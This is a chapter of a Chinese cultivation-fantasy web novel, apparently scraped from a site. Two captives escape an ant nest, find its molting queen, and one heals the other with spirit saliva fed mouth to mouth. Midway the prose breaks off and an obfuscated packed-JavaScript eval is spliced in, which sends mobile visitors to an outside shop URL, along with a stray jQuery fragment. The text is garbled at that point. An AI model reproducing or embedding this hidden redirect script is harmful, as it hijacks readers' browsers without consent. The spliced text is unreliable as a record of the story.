位于地底深处的洞穴寂静无声。

    椭圆形的卵足有半臂长,挤挤挨挨铺在地上,散发着幽幽蓝光,隐约可见其内游动的黑影。

    洞顶悬吊着水滴状的物体,有大有小,偶有挣扎晃动。

    魏惜是其中一员,碧水蚁并没有杀他们,而是将他们带到了这里,作为新生幼蚁的储备粮。

    魏惜有些心灰意冷,真的累了。

    自他出逃后,这接连不断的意外简直连一点喘息的机会都不给。

    啧,难道真要交代在这里了?

    哒、

    忽然出现的轻微响声打断了魏惜的悲观情绪,他余光一撇,惊讶地发现室友兄弟不知何时已经滑出水膜,落到地上。

    我丢,发生了什么!?

    碧水蚁的水膜是一种灵性材料,从外面很容易能打开,但内部像泥沼一样,你越挣扎它缠得越紧,你的灵力还会被它吸收,化作束缚自己的能量,猎物越强它越强,堪称异界版永动机。

    被水膜束缚的猎物少有能主动逃脱的。

    他没看错人,这兄弟有点东西。

    魏惜两眼放光地望着走向自己的室友,那双细长瘦削的手穿过水膜,将倒悬的魏惜拖出去。

    逆流的血液倒转,魏惜眼前阵阵发黑,脚下发软根本站不住,救他于水火的室友兄弟单手扶住他,拖着他绕开地面的蚁卵,躲进一个隐蔽的岩缝。

    室友放开支撑的手,魏惜靠着岩壁无力地滑坐下去。

    断裂的经脉使得全身如针扎般痛苦,魏惜唇色苍白,冷汗不停的自额头冒出,又滑落。

    哎,遭老罪了。

    良久,魏惜缓过劲儿,抬眸看向室友。

    岩缝内空间狭隘,他们交错坐着,双腿屈曲,近得能看清双方纤长的睫毛。

    室友兄弟垂眼靠着岩壁,瘦弱的胸膛快速起伏,颈侧青筋暴起,肩膀上水箭射穿的伤口被泡得发白,狰狞又可怖。

    魏惜轻声问道:“你还好吗?”

    他张开紧握的手掌,露出几朵蹂躏得不成样子的红花,是先前随手摘的胭脂红,“吃不?”

    室友耷拉的眼皮微抬,露出黑沉的瞳仁,定定地看着魏惜。

    魏惜瞧出他的疑惑,抖着手拿起一朵红花塞进嘴里,边咀嚼边说:“能回血,甜的。”

    室友的手不小,掌面宽,手指长,骨节分明,就是太瘦了,薄薄一层皮贴在骨面上,仿佛轻轻一碰便会折断。

    当然,这是错觉,魏惜是知道这手的力气的,这可是能生撕电气狼的手。

    那只薄瘦的手从魏惜手心拿走一朵红花,学着他的样子放进嘴中。

    看得出室友蛮喜欢这个味道,嚼得很珍惜。

    “都吃了吧。”魏惜把剩下的两朵也递过去,“作用不大,主打一个心理安慰。”

    室友没和他客气,将剩下的红花一齐吃了。

    魏惜咂了咂残留着花香和甜味的嘴,眉间忧郁,“兄弟,怎么离开这里你有头绪吗?”

    想到外面那老多的妖兽碧水蚁,魏惜头都大了,就他现在这状态,想全须全尾的从蚁穴里出去,难如登天。

    “没有。”室友言简意赅。

    魏惜叹了口气,“哎。”

    两人都没再说话,寂静在狭小的岩缝里蔓延。

    魏惜盯着脚边的蓝光发呆,是从外面照进来的,很小一块地方。

    身侧的人忽然动了,魏惜看过去,哼出疑惑的音调,“嗯?”

    咋滴啦,腿坐麻了?

    室友呼吸已经恢复平稳,他站起身,开口:“走吧。”

    “啊?走……往哪儿走?”魏惜茫然的跟着站起。

    室友没回答,径直走向岩缝深处的黑暗。

    魏惜扶着岩壁站在原地,愣了下,旋即抬脚跟上。

    “这里面有出路?”他问。

    “不知道。”

    “……”不知道你往里边走。魏惜无语地抽了抽嘴角。

    岩壁空间越来越窄,魏惜螃蟹似的横着走,两侧岩壁紧紧贴着身躯,怕是他再稍微胖一点,就得卡这里了。

    黑暗模糊了时间,魏惜不知道他们走了有多久,他没忍住开口,“兄弟,万一前面是死路怎么办?”

    魏惜以为沉默寡言的室友不会回答,却听前方传来微哑的声音,“不会,有水声。”

    哎?原来室友是察觉到水声才往这里面走的吗?

    魏惜支起耳朵仔细听,却没搜寻到一点与水有关的声音,不过他也没以为室友说谎,毕竟有的人天生五感较常人更敏锐。

    又走了一段,岩缝意外的扩大了些,解救了差点挤成薄饼的魏惜。

    身体放松后,他听见了水声,不是流水,是从高处落下的滴嗒声,很规律。

    微弱的亮光出现在前方,魏惜一瞬间理解了飞蛾扑火的真谛,此时的他看着那光亮莫名热泪盈眶。

    室友的脚步也不由得加快了些。

    亮光愈盛,长时间沉寂在黑暗里的魏惜不太适应地眯起双眼。

    没有豁然开朗,尽头仍是半人宽的石缝,石缝外的空间倒是格外宽阔。

    乳白的倒悬石柱散发着柔光,如同生长千年的古老巨木,沉默矗立。

    魏惜他们听见的水声就来自于它,尖角的尾端凝聚出乳白的液体,规律地滴落,在下方形成一潭乳白色池水。

    石髓乳,一种罕见天材地宝,具有洗筋伐髓、增强体质的功效。

    千年以上的乳石才能产生石髓乳,像面前这种聚集成池的规模,它的形成不会低于万年。

    魏惜的呼吸下意识放轻,不是因为这罕见的石髓乳,而是因为下方那头爬伏在池中的人身蚁尾的妖兽。

    她长身玉立,微阖着眼,深蓝的长发披撒,身材傲人,五官美艳,腰腹之下连接的碧蓝蚁尾浸泡在石髓乳液中,微微露出的些许背脊,随着呼吸规律起伏。

    魏惜望着那张美艳动人的脸,眼中没有欣赏,全是骇然,只因那颊边整齐排列的四道妖纹。

    好家伙,四阶的碧水蚁后!

    他们这是闯进人家闺房里来了?

    魏惜眯眼望着下方,封闭石洞里只有碧水蚁后一只兽,弥散的气息杂乱且虚弱,他的目光在蚁后身上转了一圈,注意到她蚁背连接处的裂口。

    蚁后这是在……蜕壳?

    魏惜回忆起曾看过的碧水蚁资料,碧水蚁后每次进阶后都需要蜕壳,这段时间是蚁后最虚弱的时候,也是蚁穴防御最强的时候。

    难怪育卵室里没有碧水蚁守着,估计它们都在蚁穴通道里巡逻。

    魏惜眉心蹙起,心情沉重。

    留给他们的时间不多了,一旦蚁后成功进阶,整个蚁穴的碧水蚁都会跟着受益,战斗力翻番,他们就更没可能逃脱了。

    两条路,回去面对蚁山蚁海硬闯出去或者擒贼擒王杀了碧水蚁后,蚁后一死剩下的碧水蚁会抛弃旧巢穴,进行迁移。

    魏惜苦恼地抓了抓颊边的碎发,这两条路不管怎么选都是死路啊!

    蚁山蚁海就不说了,堆都能堆死他们;蚁后你别看她现在是虚弱期,人家不管怎么说都是四阶妖兽,瘦死的骆驼比马大,光凭魏惜他们两个伤残人士,想要解决她简直痴人说梦。

    身旁站立的室友忽然往前走,看架势

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17708704|208381||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    是要从岩缝里出去,魏惜眼疾手快地拉住他的手臂,“喂,你干嘛?”

    室友不会是想下去单挑碧水蚁后吧?

    “杀了她才能离开,现在是最好的时机。”室友难得多说了几个字解释。

    魏惜也知道现在是解决蚁后的最佳时机,但……

    “有把握吗?”

    室友沉吟片刻,开口:“不知道。”

    那就是一点把握没有。魏惜抽了抽嘴角,看架势他还以为他有什么致胜秘诀呢。

    “要不我们还是从长计议……”虽然不清楚室友的具体修为,但最高肯定也不过融灵境,不然人不可能和他一起被抓。

    “没时间了。”室友目光瞥向下方,蚁后后背的裂口已经扩大至一人宽。

    魏惜也看到了,蚁后脱壳快要结束了,看样子只能背水一战,不然没机会了。

    他蹙着眉叹了口气,松开手,“你小心点。”

    室友微微颌首。

    “等等。”魏惜重新抓住他,视线扫过室友肩膀上的贯穿伤,不甚明亮的光线中森森白骨横亘,看着就很痛。

    咬了咬牙,他开口道:“我有一份疗伤药,效果还不错,你需要吗?”

    室友愣了下,旋即点头,“要。”

    “那你别嫌弃啊,这药它……”魏惜有些难以启齿,“不太正经。”

    室友目露疑惑,“……好。”

    魏惜抓着室友的手抚上自己的灵海,“传我点灵力。”

    室友听话照做,干涸的灵海在外来灵气的刺激下恢复了些微功能,魏惜引导灵力小心沿着破损的经脉往上,直至舌下。

    魏惜看着比自己高大半个头的室友,手搭上肩轻轻拍了拍,“你下来些。”

    没提出疑问,室友弯腰降低海拔,同魏惜齐平。

    魏惜贴近室友,借着微弱光线,他确定了室友嘴唇的位置,轻咳一声,说:“咳,张嘴。”

    室友疑惑,室友照做。

    魏惜吐了口气,踮起脚占据高位,在室友嘴唇上方位置打开唇肉,没有贴上,但距离很近,近到呼吸交错。

    闪着灵光的涎液顺着舌尖滴落,落入室友口中。

    没错,魏惜所谓的疗伤药指的就是他的口水,准确的说是仙灵鹤的鹤涎,这东西他自己用不了,而且离体超过三秒效果就会消失,要用的话只能直接喂,要不是这紧要关头魏惜是不可能拿出来的,嘴对嘴喂人口水什么的,太变态了。

    “唔!”

    室友显然吓到了,猛地站直身体,慌乱中原本还有些距离的双唇直接撞上,齿关磕碰让两人同时闷哼出声。

    因为室友海拔的忽然升高,魏惜脚下失去支撑,整个人向前扑下,嵌进室友怀里。

    来不及悼念失去的初吻,他单手环住室友的脖子压住他的挣扎,含糊道:“别动……”

    他可没力气再凝聚第二份鹤涎。

    室友僵在原地,似乎连呼吸都忘了。

    箭在弦上,魏惜不得不就着这破廉耻的姿势将剩下的鹤涎渡过去。

    喂完鹤涎,魏惜动作迅疾地捂着磕疼的唇后退。

    什么现实版是兄弟就来吻我!

    他尴尬得脚趾要抠穿蚁穴了。

    室友上半张脸隐在黑暗里,魏惜看不清他的神色,咳嗽两声,打破尬住的空气:“那啥,都是男人,兄弟你应该不介意吧?”他指了指室友肩头开始合拢的伤口,“虽然恶心了点,但效果还是不错的。”

    鸟喙般的喉结缓缓下滑又回正,室友动了,他低头看了眼愈合的伤,开口:“我下去了。”

    “哎,好。”魏惜忙不迭点头。